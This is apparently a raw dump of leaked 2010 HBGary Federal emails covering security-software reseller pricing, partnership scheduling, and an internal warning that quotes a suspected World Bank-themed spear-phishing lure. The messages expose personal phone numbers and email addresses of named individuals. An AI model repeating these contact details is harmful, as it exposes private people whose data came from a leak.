Aaron Barr wrote:\r\nHi Arnav,Can we have a brief discussion about this.  I think that would help to move things a long.AaronOn Jun 2, 2010, at 9:28 AM, Arnav Manchanda wrote:\r\nDear Aaron, Penny,Hope all is well and that you had a relaxing Memorial Day weekend.\r\nI wanted to follow-up with you regarding Penny&#39;s email below on pricing HBGary products for SecDev. To consolidate our previous discussions and to avoid confusion, we (SecDev) envision two aspects to the relationship with HBGary: 1) using HBGary products in our investigative/commercial work, and 2) developing HBGary integration with Palantir as part of a suite of cyber security capabilities.\r\nAs such, we would require the appropriate license for use in both tasks.For the commercial work, we believe it would be best to deploy HBGary as a loss leader for the initial few clients--we have some upcoming opportunities where this could be the case. In return, we anticipate that this would create a significant market for HBGary products and services in Canada. We are also hoping to write up case studies of these cases, and would make it clear that HBGary was critical to our work. We work this way with Palantir--it&#39;s a loss leader, but it has created considerable interest and demand for Palantir in Canada which we are now capitalizing on. Of course, such an arrangement with HBGary would not be in perpetuity, instead we would work this way for an an initial 10-12 months while we get things off the ground, and then move to a regular commercial arrangement where we buy the product and pass the cost to the client.\r\nAlso, as mentioned above we would need a license for use in-house for the integration work - I believe the license you gave Nart would be appropriate for this, but I could be wrong. Needless to say, this integration work will only improve both HBGary and SecDev&#39;s product offerings and expand our client bases.\r\nI look forward to your thoughts.Best wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-06-01, at 5:54 PM, Penny Leavy-Hoglund wrote:\r\n\r\nOK, here is the long and short\r\n \r\n1.       Yes you can buy Responder Pro as a perpetual license.  It’s $10,200 and $2040 per year in maintenance.   The consulting copy is $7500 per year but since you are a partner, you can buy the perpetual.  It comes with one copy of FastDump Pro.  Additional copies of FastDump Pro are $100 per copy.  Digital DNA is a separate component and it is $2000 per year.  It only works with Responder Pro, it does not work with Field Edition.  .  You would receive a reseller discount off the product pricing.\r\n2.       We also have CLiP pricing for consultants.  This is a “timed license” of Active Defense, or DDNA for ePO or DDNA for Encase.  This allows you to use scan 1000’s of machines at once.  Some companies like to use it as a “healthcheck”.  This is kind of like a “pen test” where it’s a two week license and you scan X amount of nodes.  Pricing starts at $5 per node.  This way, instead of looking at 15 machines, you can take a percentage of a company and see their threat profile.   We also have an engagement license which typically goes for 8 weeks and this again is based per node and is timed.  This allows you to further look into an organization and let them know what is going on.  May seem like a lot upfront, but basically once you get a handle on the machines, what is in there etc, you can work with them to then do remediation management.  Where you offer a service that checks weekly (like a managed service) what is going on.  8 Week licenses start at $10 per node.  If they want managed service we do this on a case by case basis. \r\n \r\n \r\n\r\nFrom: Arnav Manchanda [mailto:a.manchanda@secdev.ca] \r\nSent: Tuesday, June 01, 2010 1:07 PMTo: Penny Leavy-HoglundCc: &#39;Aaron Barr&#39;\r\nSubject: Re: Introduction\r\n Hi Penny,\r\n We have a job upcoming for a client that requires the use of Fast Dump/Responder Pro across multiple machines (~15). What would be the price for us if we bought that product outright and use it for this and future jobs, vs. what would be the per engagement license cost/how would it work?\r\n \r\nThe license we currently have is a trial/eval one.\r\n Thanks for this information.\r\n Best,\r\nArnav\r\n \r\n \r\nOn 2010-06-01, at 2:52 PM, Penny Leavy-Hoglund wrote:\r\n\r\nSure you can modify agreement.  With regards to products being used for consulting services, you should purchase a copy to do that.  I’m assuming you have Responder Pro.  We also have AD licenses designed for consultants so that you can charge per engagement fees to customers\r\n \r\n\r\nFrom: Arnav Manchanda [mailto:a.manchanda@secdev.ca] \r\nSent: Monday, May 31, 2010 5:34 AMTo: Arnav ManchandaCc: Penny Leavy-Hoglund; &#39;Aaron Barr&#39;\r\nSubject: Re: Introduction\r\n Dear Penny, Aaron,\r\n I am writing to follow up on the email below regarding marketing both HBGary products and services in Canada, and to modify the reseller agreement that you sent me as required.\r\n \r\nAaron: I also wanted to clarify whether we could use the license that you gave Nart for our own commercial work, and what the modalities would be on that. We have a job coming up that would require HBGary product deployment, so I wanted to ensure that we have the right commercial agreement in place on that end.\r\n \r\nBest wishes,Arnav\r\n \r\nOn 2010-05-24, at 4:54 PM, Arnav Manchanda wrote:\r\nHello Penny,\r\n \r\nI am writing to follow-up on the reseller agreement that you sent - it looks fine from the standpoint of reselling HB Gary&#39;s products in Canada.\r\n In terms of reselling the package of HBGary services in Canada, could we somehow incorporate that into this agreement, or would you prefer this to be on a case by case basis? I had a conversation with Aaron on Thursday regarding reselling services and how the agreement could be to split the margin 2/3 - 1/3 between HBGary and SecDev. This would also address the integration that HBGary is working on with Fidelis/Endgame.\r\n \r\nDo let me know your thoughts on this.\r\n Best wishes,\r\nArnav\r\n\r\n \r\n On 2010-05-20, at 3:25 PM, Penny Leavy-Hoglund wrote:\r\n\r\nCool, thanks\r\n \r\nFrom: Arnav Manchanda [mailto:a.manchanda@secdev.ca] \r\nSent: Thursday, May 20, 2010 12:13 PMTo: Penny Leavy-HoglundCc: &#39;Aaron Barr&#39;\r\nSubject: Re: Introduction\r\n Thanks Penny, will have a look and get back to you by early next week.\r\n \r\nBest,\r\nArnav \r\nOn 2010-05-20, at 2:49 PM, Penny Leavy-Hoglund wrote:\r\n\r\nHi Guys,\r\n \r\nAttached is our standard reseller form.  Here are datasheets and two white papers.  We are releasing a new white paper at CEIC, so I’ll send that to you once it’s out. \r\n \r\n\r\nFrom: Arnav Manchanda [mailto:a.manchanda@secdev.ca] \r\nSent: Wednesday, May 19, 2010 4:18 AMTo: Aaron BarrCc: Penny Leavy\r\nSubject: Re: Introduction\r\n Hi Aaron,\r\n \r\nI&#39;m free to talk today, between 10 and 1pm EST and 4-5 EST. Give me a shout whenever&#39;s best 613-755-4007\r\n \r\nBest,\r\nArnav\r\n \r\nOn 2010-05-18, at 4:22 PM, Aaron Barr wrote:\r\n\r\nHi Arnav, \r\nSure.  Cc&#39;d is the president of HBGary Inc.  They build and manage the product.  Penny will get you the reseller agreement.  We use the HBGary products as our foundation for enterprise incident response engagements.  I will send you some information on this.  Can we talk briefly tomorrow?\r\n \r\nAaronSent from my iPad\r\nOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\n\r\nHi Aaron, \r\nThanks for this. It was good to speak to you on Friday.\r\n \r\nLooking forward to receiving a reseller agreement/other materials that we can go through.\r\n \r\nBest wishes,\r\nArnav\r\n \r\n\r\n \r\nArnav Manchanda\r\nBusiness Capture &amp; Analytics\r\nThe SecDev Group\r\ncomplexity.engaged\r\n \r\nWorld Exchange Plaza\r\n45 O&#39;Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice: +1 (613) 755-4007\r\nCell:  +1 (613) 806-4081E-mail: a.manchanda@secdev.ca \r\n \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\n \r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n \r\n\r\n On 2010-05-14, at 3:49 PM, Aaron Barr wrote:\r\n\r\nSent from my iPad\r\nBegin forwarded message:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: May 14, 2010 11:14:20 AM EDTTo: Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;\r\nCc: Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;\r\nSubject: Introduction\r\nScott,Let me introduce Nart Villeneuve.  Nart is the CTO for SecDev.  Most recently they have put together and presented some very interesting findings on the cyber attacks against the office of the Dali Lama (ghostnet) and some broader related attacks (shadownet).  Their investigative techniques are thorough and would likely provide some good information to the group at the REBL conference.\r\nNart,Scott managed the Blue Team at NSA and is putting together this years conference.  He is looking for some interesting speakers concerning malware, malware analysis, threats, integration of capabilities, etc.  I mentioned to him I thought your talk would be appropriate and engaging.\r\nAaron\r\n \r\n &lt;HBGary-VAR Agrmt (6-08)1 (3).doc&gt;&lt;datasheet_DDNA.pdf&gt;&lt;datasheet_Responder pro.pdf&gt;&lt;EA_REcon_FINALDRAFT.pdf&gt;&lt;HBG Malware Report_FINAL_FINAL.pdf&gt;\r\n \r\n \r\n  \r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',4041,'aaron_hbgary_com/4041.html'),(7002,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005095.M384208P14101Q1858.eml','\"Daniel Ingevaldson\" <dsi@endgames.us>','Re: Meeting invitation: Sicily Discussion','Sounds good.  Can we do 330et?\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 3, 2010, at 4:02 PM, Daniel Ingevaldson  wrote:\r\n\r\n> Aaron--how about a chat with Chris and I after 2:30 ET tomorrow?\r\n>\r\n> -d\r\n>\r\n> On Jun 3, 2010, at 1:01 PM, Aaron Barr wrote:\r\n>\r\n>> I am pretty flexible the rest of today and tomorrow, just in Colorado working on some of the integration between EGS, Fidelis, HBGary tech.\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Jun 1, 2010, at 5:05 PM, Daniel Ingevaldson wrote:\r\n>>\r\n>>> Aaron, thanks for your time on the line today.  We\'re excited that you guys are immediately seeing value from the feed.  I owe you some feedback on the items we discussed at the end of the call.  What times work for you to have a follow-up call on partnership opportunities?  I\'d like to bring in Chris on this end as well.  Thanks Aaron, talk soon.\r\n>>>\r\n>>> Best,\r\n>>> -d\r\n>>>\r\n>>> ---------------------------------\r\n>>> Daniel S. Ingevaldson, COO\r\n>>> Endgame Systems, LLC\r\n>>> dsi@endgames.us\r\n>>> (w)404-781-2955\r\n>>> (f)404-781-2951\r\n>>> (m)404-992-9449\r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>\r\n>\r\n> ---------------------------------\r\n> Daniel S. Ingevaldson, COO\r\n> Endgame Systems, LLC\r\n> dsi@endgames.us\r\n> (w)404-781-2955\r\n> (f)404-781-2951\r\n> (m)404-992-9449\r\n>\r\n',10610,'aaron_hbgary_com/10610.html'),(7003,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005095.M59155P14101Q1857.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: Introduction','sure that time works.AaronOn Jun 3, 2010, at 3:46 PM, Arnav Manchanda wrote:Hi Aaron,Can we try for something tomorrow afternoon? Shall we say 2pm EST? It would be me and my CEO Rafal Rohozinski.Best,Arnav\r\n\r\nOn 2010-06-03, at 5:38 PM, Aaron Barr wrote:Hi Arnav,Do you want to try and schedule something today?AaronSent from my iPadOn Jun 3, 2010, at 1:20 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nHi Aaron,Are you available today to talk to my CEO Rafal?&nbsp;Best,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-06-03, at 1:00 PM, Aaron Barr wrote:\r\nHi Arnav,Can we have a brief discussion about this. &nbsp;I think that would help to move things a long.AaronOn Jun 2, 2010, at 9:28 AM, Arnav Manchanda wrote:\r\nDear Aaron, Penny,Hope all is well and that you had a relaxing Memorial Day weekend.\r\nI wanted to follow-up with you regarding Penny\'s email below on pricing HBGary products for SecDev. To consolidate our previous discussions and to avoid confusion, we (SecDev) envision two aspects to the relationship with HBGary: 1) using HBGary products in our investigative/commercial work, and 2) developing HBGary integration with Palantir as part of a suite of cyber security capabilities.\r\nAs such, we would require the appropriate license for use in both tasks.For the commercial work, we believe it would be best to deploy HBGary as a loss leader for the initial few clients--we have some upcoming opportunities where this could be the case. In return, we anticipate that this would create a significant market for HBGary products and services in Canada. We are also hoping to write up case studies of these cases, and would make it clear that HBGary was critical to our work. We work this way with Palantir--it\'s a loss leader, but it has created considerable interest and demand for Palantir in Canada which we are now capitalizing on. Of course, such an arrangement with HBGary would not be in perpetuity, instead we would work this way for an an initial 10-12 months while we get things off the ground, and then move to a regular commercial arrangement where we buy the product and pass the cost to the client.\r\nAlso, as mentioned above we would need a license for use in-house for the integration work - I believe the license you gave Nart would be appropriate for this, but I could be wrong. Needless to say, this integration work will only improve both HBGary and SecDev\'s product offerings and expand our client bases.\r\nI look forward to your thoughts.Best wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-06-01, at 5:54 PM, Penny Leavy-Hoglund wrote:\r\n\r\nOK, here is the long and short\r\n&nbsp;\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Yes you can buy Responder Pro as a perpetual license.&nbsp; It’s $10,200 and $2040 per year in maintenance.&nbsp;&nbsp; The consulting copy is $7500 per year but since you are a partner, you can buy the perpetual.&nbsp; It comes with one copy of FastDump Pro.&nbsp; Additional copies of FastDump Pro are $100 per copy.&nbsp; Digital DNA is a separate component and it is $2000 per year.&nbsp; It only works with Responder Pro, it does not work with Field Edition.&nbsp; .&nbsp; You would receive a reseller discount off the product pricing.\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We also have CLiP pricing for consultants.&nbsp; This is a “timed license” of Active Defense, or DDNA for ePO or DDNA for Encase.&nbsp; This allows you to use scan 1000’s of machines at once.&nbsp; Some companies like to use it as a “healthcheck”.&nbsp; This is kind of like a “pen test” where it’s a two week license and you scan X amount of nodes.&nbsp; Pricing starts at $5 per node.&nbsp; This way, instead of looking at 15 machines, you can take a percentage of a company and see their threat profile.&nbsp;&nbsp; We also have an engagement license which typically goes for 8 weeks and this again is based per node and is timed.&nbsp; This allows you to further look into an organization and let them know what is going on.&nbsp; May seem like a lot upfront, but basically once you get a handle on the machines, what is in there etc, you can work with them to then do remediation management.&nbsp; Where you offer a service that checks weekly (like a managed service) what is going on.&nbsp; 8 Week licenses start at $10 per node.&nbsp; If they want managed service we do this on a case by case basis.&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\nFrom:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;\r\nSent:&nbsp;Tuesday, June 01, 2010 1:07 PMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;\'Aaron Barr\'\r\nSubject:&nbsp;Re: Introduction\r\n&nbsp;Hi Penny,\r\n&nbsp;We have a job upcoming for a client that requires the use of Fast Dump/Responder Pro across multiple machines (~15). What would be the price for us if we bought that product outright and use it for this and future jobs, vs. what would be the per engagement license cost/how would it work?\r\n&nbsp;\r\nThe license we currently have is a trial/eval one.\r\n&nbsp;Thanks for this information.\r\n&nbsp;Best,\r\nArnav\r\n&nbsp;\r\n&nbsp;\r\nOn 2010-06-01, at 2:52 PM, Penny Leavy-Hoglund wrote:\r\n\r\nSure you can modify agreement.&nbsp; With regards to products being used for consulting services, you should purchase a copy to do that.&nbsp; I’m assuming you have Responder Pro.&nbsp; We also have AD licenses designed for consultants so that you can charge per engagement fees to customers\r\n&nbsp;\r\n\r\nFrom:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;\r\nSent:&nbsp;Monday, May 31, 2010 5:34 AMTo:&nbsp;Arnav ManchandaCc:&nbsp;Penny Leavy-Hoglund; \'Aaron Barr\'\r\nSubject:&nbsp;Re: Introduction\r\n&nbsp;Dear Penny, Aaron,\r\n&nbsp;I am writing to follow up on the email below regarding marketing both HBGary products and services in Canada, and to modify the reseller agreement that you sent me as required.\r\n&nbsp;\r\nAaron: I also wanted to clarify whether we could use the license that you gave Nart for our own commercial work, and what the modalities would be on that. We have a job coming up that would require HBGary product deployment, so I wanted to ensure that we have the right commercial agreement in place on that end.\r\n&nbsp;\r\nBest wishes,Arnav\r\n&nbsp;\r\nOn 2010-05-24, at 4:54 PM, Arnav Manchanda wrote:\r\nHello Penny,\r\n&nbsp;\r\nI am writing to follow-up on the reseller agreement that you sent - it looks fine from the standpoint of reselling HB Gary\'s products in Canada.\r\n&nbsp;In terms of reselling the package of HBGary services in Canada, could we somehow incorporate that into this agreement, or would you prefer this to be on a case by case basis? I had a conversation with Aaron on Thursday regarding reselling services and how the agreement could be to split the margin 2/3 - 1/3 between HBGary and SecDev. This would also address the integration that HBGary is working on with Fidelis/Endgame.\r\n&nbsp;\r\nDo let me know your thoughts on this.\r\n&nbsp;Best wishes,\r\nArnav\r\n\r\n&nbsp;\r\n&nbsp;On 2010-05-20, at 3:25 PM, Penny Leavy-Hoglund wrote:\r\n\r\nCool, thanks\r\n&nbsp;\r\nFrom:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;\r\nSent:&nbsp;Thursday, May 20, 2010 12:13 PMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;\'Aaron Barr\'\r\nSubject:&nbsp;Re: Introduction\r\n&nbsp;Thanks Penny, will have a look and get back to you by early next week.\r\n&nbsp;\r\nBest,\r\nArnav&nbsp;\r\nOn 2010-05-20, at 2:49 PM, Penny Leavy-Hoglund wrote:\r\n\r\nHi Guys,\r\n&nbsp;\r\nAttached is our standard reseller form.&nbsp; Here are datasheets and two white papers.&nbsp; We are releasing a new white paper at CEIC, so I’ll send that to you once it’s out.&nbsp;\r\n&nbsp;\r\n\r\nFrom:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;\r\nSent:&nbsp;Wednesday, May 19, 2010 4:18 AMTo:&nbsp;Aaron BarrCc:&nbsp;Penny Leavy\r\nSubject:&nbsp;Re: Introduction\r\n&nbsp;Hi Aaron,\r\n&nbsp;\r\nI\'m free to talk today, between 10 and 1pm EST and 4-5 EST. Give me a shout whenever\'s best 613-755-4007\r\n&nbsp;\r\nBest,\r\nArnav\r\n&nbsp;\r\nOn 2010-05-18, at 4:22 PM, Aaron Barr wrote:\r\n\r\nHi Arnav,&nbsp;\r\nSure. &nbsp;Cc\'d is the president of HBGary Inc. &nbsp;They build and manage the product. &nbsp;Penny will get you the reseller agreement. &nbsp;We use the HBGary products as our foundation for enterprise incident response engagements. &nbsp;I will send you some information on this. &nbsp;Can we talk briefly tomorrow?\r\n&nbsp;\r\nAaronSent from my iPad\r\nOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\n\r\nHi Aaron,&nbsp;\r\nThanks for this. It was good to speak to you on Friday.\r\n&nbsp;\r\nLooking forward to receiving a reseller agreement/other materials that we can go through.\r\n&nbsp;\r\nBest wishes,\r\nArnav\r\n&nbsp;\r\n\r\n&nbsp;\r\nArnav Manchanda\r\nBusiness Capture &amp; Analytics\r\nThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\n&nbsp;\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;&nbsp;\r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.&nbsp;Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n&nbsp;\r\n\r\n&nbsp;On 2010-05-14, at 3:49 PM, Aaron Barr wrote:\r\n\r\nSent from my iPad\r\nBegin forwarded message:\r\n\r\nFrom:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate:&nbsp;May 14, 2010 11:14:20 AM EDTTo:&nbsp;Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;\r\nCc:&nbsp;Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;\r\nSubject:&nbsp;Introduction\r\nScott,Let me introduce Nart Villeneuve. &nbsp;Nart is the CTO for SecDev. &nbsp;Most recently they have put together and presented some very interesting findings on the cyber attacks against the office of the Dali Lama (ghostnet) and some broader related attacks (shadownet). &nbsp;Their investigative techniques are thorough and would likely provide some good information to the group at the REBL conference.\r\nNart,Scott managed the Blue Team at NSA and is putting together this years conference. &nbsp;He is looking for some interesting speakers concerning malware, malware analysis, threats, integration of capabilities, etc. &nbsp;I mentioned to him I thought your talk would be appropriate and engaging.\r\nAaron\r\n&nbsp;\r\n&nbsp;&lt;HBGary-VAR Agrmt (6-08)1 (3).doc&gt;&lt;datasheet_DDNA.pdf&gt;&lt;datasheet_Responder pro.pdf&gt;&lt;EA_REcon_FINALDRAFT.pdf&gt;&lt;HBG Malware Report_FINAL_FINAL.pdf&gt;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;&nbsp;\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5334,'aaron_hbgary_com/5334.html'),(7004,'2010-06-03','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297005095.M598205P14101Q1859.eml','\"Aaron Barr\" <aaron@hbgary.com>','Need flight info for First Conference','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nI need to have a copy of your flight info. I have to confirm\r\nhotel no later than tomorrow.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11612,'aaron_hbgary_com/11612.html'),(7005,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005096.M320842P14101Q1861.eml','\"Phil Wallisch\" <phil@hbgary.com>','End game data','Phil,\r\n\r\nI am very interested in getting your thoughts.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',4973,'aaron_hbgary_com/4973.html'),(7006,'2010-06-04','\"Charles Copeland\" <charles@hbgary.com>','/aaron@hbgary.com/new/1297005096.M546489P14101Q1862.eml','all@hbgary.com','**PLEASE READ ME***Fwd: Secure Email from the World Bank','  Hey guys, just a quick heads up it appears I&#39;ve got a spear fishing email and I don&#39;t know who else got it.  Until we know more do not open any emails like this.  This is super shady imo.  Let me know if you have anything to add or questions.\r\nThanksCharles---------- Forwarded message ----------From:  &lt;securemail@worldbank.org&gt;\r\nDate: Thu, Jun 3, 2010 at 10:59 PMSubject: Secure Email from the World BankTo: support@hbgary.com\r\n\r\n \r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n     \r\n      \r\n        \r\n      \r\n      \r\n       \r\n       \r\n      \r\n      \r\n        \r\n      \r\n      \r\n       \r\n	\r\n	 nmohorikar@worldbank.org\r\n	 would like to send you an email that contains a secured document. \r\n	\r\n	\r\n	 In order to receive the email, and read the attached document, you must first register with the World Bank secure email system.  The registration process will take about 5 minutes.\r\n	\r\n        \r\n        NOTE: You will not be able to register from a smartphone.\r\n        \r\n	\r\n	 Click here to register.\r\n	\r\n      \r\n      If you have any problems with the registration process, please go to the Secure Email webpage.  \r\n      \r\n      \r\n        \r\n          \r\n        \r\n        \r\n            \r\n            \r\n      \r\n      \r\n        \r\n      \r\n     \r\n    \r\n   \r\n  \r\n \r\n\r\n\r\n',322,'aaron_hbgary_com/322.html'),(7007,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005096.M5861P14101Q1860.eml','\"Scott Suhy\" <Scott.Suhy@pointabout.com>','Re: Introduction','Sure that sounds good.  The 1410q St address?  Did u get the nda?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jun 3, 2010, at 11:50 AM, Scott Suhy \r\nwrote:\r\n\r\n> Are you good for the morning of the 8th?\r\n>\r\n> We\'ve been working on a response to the darpa bid for the last 3\r\n> weeks.\r\n> There is also one for HLS see\r\n> https://www.sbir.dhs.gov/currentsolicitation.aspx#101009 we decided\r\n> to not\r\n> bid this one.\r\n>\r\n> PEO EIS has one that is in RFI stage and one for SSA see\r\n> https://www.fbo.gov/spg/SSA/DCFIAM/OAG/SSA-RFI-10-1013/listing.html\r\n>\r\n> ____________________________________________________\r\n> Scott B. Suhy\r\n> CEO, PointAbout Inc.\r\n> Cell: 202.557.6937\r\n> 1410 Q street NW Washington, DC 20009 (http://1410q.com)\r\n> skype:scott.suhy\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, June 03, 2010 12:57 PM\r\n> To: Scott Suhy\r\n> Subject: Re: Introduction\r\n>\r\n> Hi Scott,\r\n>\r\n> How is your schedule for getting together next week?  Did you see\r\n> the link I\r\n> sent on the DARPA opportunity for app development?\r\n>\r\n> Aaron\r\n>\r\n> On May 27, 2010, at 7:32 AM, Scott Suhy wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> Give me a ring today (cell below).\r\n>>\r\n>> ____________________________________________________\r\n>> Scott B. Suhy\r\n>> CEO, PointAbout Inc.\r\n>> Cell: 202.557.6937\r\n>> 1410 Q street NW Washington, DC 20009 (http://1410q.com)\r\n>> skype:scott.suhy\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Thursday, May 27, 2010 9:07 AM\r\n>> To: info@PointAbout.com\r\n>> Subject: Introduction\r\n>>\r\n>> Hi PointAbout,\r\n>>\r\n>> I have been doing a little bit of research on local DC talent for\r\n>> mobile\r\n>> development and found you guys, turns out I actually have a few of\r\n>> your\r\n> apps\r\n>> on my iPhone.\r\n>>\r\n>> My company is the sister company to HBGary Inc. focused on malware\r\n> analysis,\r\n>> incident response, and information operations products and\r\n>> services.  But\r\n>> the reason for writing you is I have about 7 years experience in\r\n>> the web\r\n> and\r\n>> mobile app and services space as well and have some interesting\r\n>> ideas.  It\r\n>> was all work done for the government so while I think I have a\r\n>> vision for\r\n>> the direction of mobile information and services (the most important\r\n> market\r\n>> going forward IMO).  I don\'t know the people or processes in the\r\n>> purely\r\n>> commercial space.\r\n>>\r\n>> I would like to exchange an NDA and come talk to you guys about the\r\n>> mobile\r\n>> space.\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>> No virus found in this incoming message.\r\n>> Checked by AVG - www.avg.com\r\n>> Version: 9.0.819 / Virus Database: 271.1.1/2897 - Release Date:\r\n>> 05/26/10\r\n>> 14:26:00\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.829 / Virus Database: 271.1.1/2914 - Release Date:\r\n> 06/03/10\r\n> 02:25:00\r\n>\r\n',9163,'aaron_hbgary_com/9163.html'),(7008,'2010-06-04','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297005096.M775239P14101Q1863.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','RE: COIN Update','\r\n\r\n\r\n\r\n\r\nRE: COIN Update\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nCan we meet Monday or Tuesday morning?&nbsp; I am out of the office today but will be in next week.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 6/3/2010 5:16 PM\r\nTo: Clair, Chris (TASC); Lovegrove, John (TASC)\r\nCc: Pisani, Albert A. (TASC)\r\nSubject: COIN Update\r\n\r\nAll,\r\n\r\nI am fairly certain that NG is teaming with SAIC for the recompete.&nbsp; This creates a significant challenge that we need to discuss.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8318,'aaron_hbgary_com/8318.html'),(7009,'2010-06-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005097.M351154P14101Q1865.eml','\"Harris, Irene G (TASC)\" <irene.harris@tasc.com>','Re: Phone call','Yes.  I am flexible until 2pm.AaronSent from my iPadOn Jun 4, 2010, at 6:34 AM, &quot;Harris, Irene G (TASC)&quot; &lt;irene.harris@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\n\r\nHi Aaron, are you available for a phone call this morning\r\nwith Al Pisani?\r\n\r\n \r\n\r\nThank you,\r\n\r\nIrene\r\n\r\n \r\n\r\n\r\nIrene Harris \r\nExecutive\r\nAssistant to Albert A. Pisani, Vice President\r\nIntelligence Operations Business Unit \r\nOffice:\r\n703-633-8473 \r\nBB:\r\n703-201-7718\r\n\r\nFax:\r\n703-449-3999\r\n\r\nirene.harris@tasc.com \r\n\r\n----------------------------------- \r\n&lt;image001.jpg&gt;\r\n4803\r\nStonecroft Boulevard\r\n\r\nChantilly,\r\nVA 20151\r\n\r\n\r\n \r\n\r\nThis e-mail, including attachments, is intended for the\r\nexclusive use of the person or entity to whom it is addressed and may 